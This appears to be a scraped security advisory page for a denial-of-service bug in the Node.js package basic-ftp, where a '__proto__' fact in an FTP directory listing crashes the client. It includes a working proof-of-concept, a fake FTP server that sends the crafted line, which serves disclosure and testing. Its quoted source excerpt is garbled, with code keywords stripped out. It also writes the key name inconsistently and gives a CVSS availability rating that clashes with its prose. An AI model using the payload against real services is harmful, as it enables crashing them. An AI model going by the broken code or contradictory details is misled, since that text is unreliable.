BASIC-FTP · CVE-2026-126345 · Package
FIX → 6.2.4
basic-ftp's MLSD parser looks up fact handlers in a plain object, so a directory line naming the fact "__proto__" throws an uncaught TypeError. A malicious or on-path FTP server can make list() and related calls reject, which crashes the Node.js process if the rejection is unhandled.
first public Oct 30, 2026 · 2 sources
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Any application that uses basic-ftp's list, downloadToDir, uploadFromDir, clearWorkingDir or removeDir against an FTP server that may be malicious or reachable by an on-path attacker on a plaintext session. Applications that wrap these calls in try/catch are less exposed to a process crash, but the call still fails. Applications that only talk to trusted FTP servers over TLS are lower risk.
Not affected if basic-ftp-not-used, tls-only-trusted-server
Who cares basic-ftp, ftp, node, npm
npm ls basic-ftp in the project to see the installed version.6.2.4 or later.client.list(), downloadToDir(), uploadFromDir(), clearWorkingDir() or removeDir() that are not wrapped in try/catch.basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's response, with no validation. A directory-listing line containing the fact name "proto" resolves this lookup to Object.prototype (inherited, non-own, non-function) instead of undefined, so the "not a function" guard is bypassed and the code throws TypeError: factHandler is not a function.
This TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (list, downloadToDir, uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client connects to — or any on-path attacker on a plaintext (non-TLS) FTP session — can crash the calling application by returning one crafted line in a directory listing. If the application does not wrap every one of these calls in try/catch, the rejection is unhandled and crashes the Node.js process (default behavior since Node 15).
File: src/parseListMLSD.ts
const factHandlersByName: {[key: string]: FactHandler} = {
"size": parseSize,
"sizd": parseSize,
"unique": (value, info) => { info.uniqueID = value },
"modify": () => { ... },
: { ... },
: { ... },
...
}
(): | {
[ packedFacts, name ] = (line, )
...
facts = packedFacts.()
( fact facts) {
[ factName, factValue ] = (fact, )
(!factValue) { }
factHandler = factHandlersByName[factName.()]
(!factHandler) { }
result = (factValue, info)
...
}
info
}
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
Upgrade to 6.2.4
6.2.4factHandlersByName is a plain {} object literal, so it inherits from Object.prototype. Property access does not distinguish own keys from inherited ones. When factName.toLowerCase() === "proto", the bracket lookup factHandlersByName["proto"] returns Object.prototype itself — a truthy, non-undefined value — so the if (!factHandler) continue guard does not fire. The code then tries to call Object.prototype as a function: factHandler(factValue, info), which throws TypeError: factHandler is not a function.
This line runs inside parseList() (src/parseList.ts), called synchronously from a .map() over every line of the listing, which in turn is called from Client._requestListWithCommand() -> Client.list() (src/Client.ts). list()'s only error handling is:
catch (err) {
const shouldTryNext = err instanceof FTPError
if (!shouldTryNext) { throw err }
lastError = err
}
A plain TypeError is not an FTPError, so it is immediately rethrown instead of being retried or suppressed, and the Promise returned by list() rejects with it.
Affected call paths (all eventually call Client.list()):
Only "proto" triggers the crash this way; other reserved Object.prototype property names tested ("constructor", "toString", "hasOwnProperty", "valueOf", "defineGetter") happen to resolve to actual functions on Object.prototype, so they are called without throwing (silently ineffective, not a crash). This confirms the root cause is the use of an unguarded object literal as a dictionary keyed by untrusted server input, rather than something specific to one property.
Prerequisites: Node.js, a clone/checkout of basic-ftp, npm install then npm run buildOnly (or npx tsc) to produce dist/.
Step 1 — Minimal reproduction of the parser bug alone:
node -e '
const { parseList } = require("./dist/parseList");
parseList("__proto__=x;type=file;size=10; evil.txt");
'
Expected result: Uncaught TypeError: factHandler is not a function at parseLine (.../dist/parseListMLSD.js:...)
Step 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification:
Save as poc.js in the repo root and run `node poc.js`:
const net = require("net")
const { Client } = require("./dist/index")
const server = net.createServer(socket => {
socket.write("220 fake ftp ready\r\n")
socket.on("data", data => {
const cmd = data.toString().trim()
if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
cmd.startsWith("PROT")) socket.write("200 ok\r\n")
else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST type;size;\r\n211 End\r\n")
else if (cmd.startsWith("EPSV")) {
const dataServer = net.createServer(dsock => {
// The malicious line: fact name "__proto__"
dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
})
dataServer.listen(0, "127.0.0.1", () => {
const p = dataServer.address().port
socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
})
}
else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
socket.write("150 Here comes the listing\r\n")
setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
}
else socket.write("200 ok\r\n")
})
})
server.listen(2121, "127.0.0.1", async () => {
const client = new Client()
try {
await client.access({ host: "127.0.0.1", port: 2121, user: "a", password: "b" })
const files = await client.list()
console.log("list() returned normally (unexpected):", files)
} catch (err) {
console.log("client.list() threw:", err.constructor.name, "-", err.message)
} finally {
client.close()
server.close()
process.exit(0)
}
})
Expected output:
client.list() threw: TypeError - factHandler is not a function
Configuration notes:
Type: Denial of Service (CWE-248: Uncaught Exception, enabled by CWE-1321-style unguarded dictionary lookup on an object literal).
Who is impacted: Any application using basic-ftp's Client.list(), downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths), clearWorkingDir(), or removeDir() against a server that is malicious, compromised, or reachable by an on-path attacker on a non-TLS FTP session. No authentication to the target server is required beyond whatever credentials the application already uses, and no user interaction is required — a single crafted directory-listing line is sufficient.
Confidentiality: None. Integrity: None. Availability: High — unhandled rejection crashes the Node.js process by default, taking down the whole application/service, not just the FTP operation.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.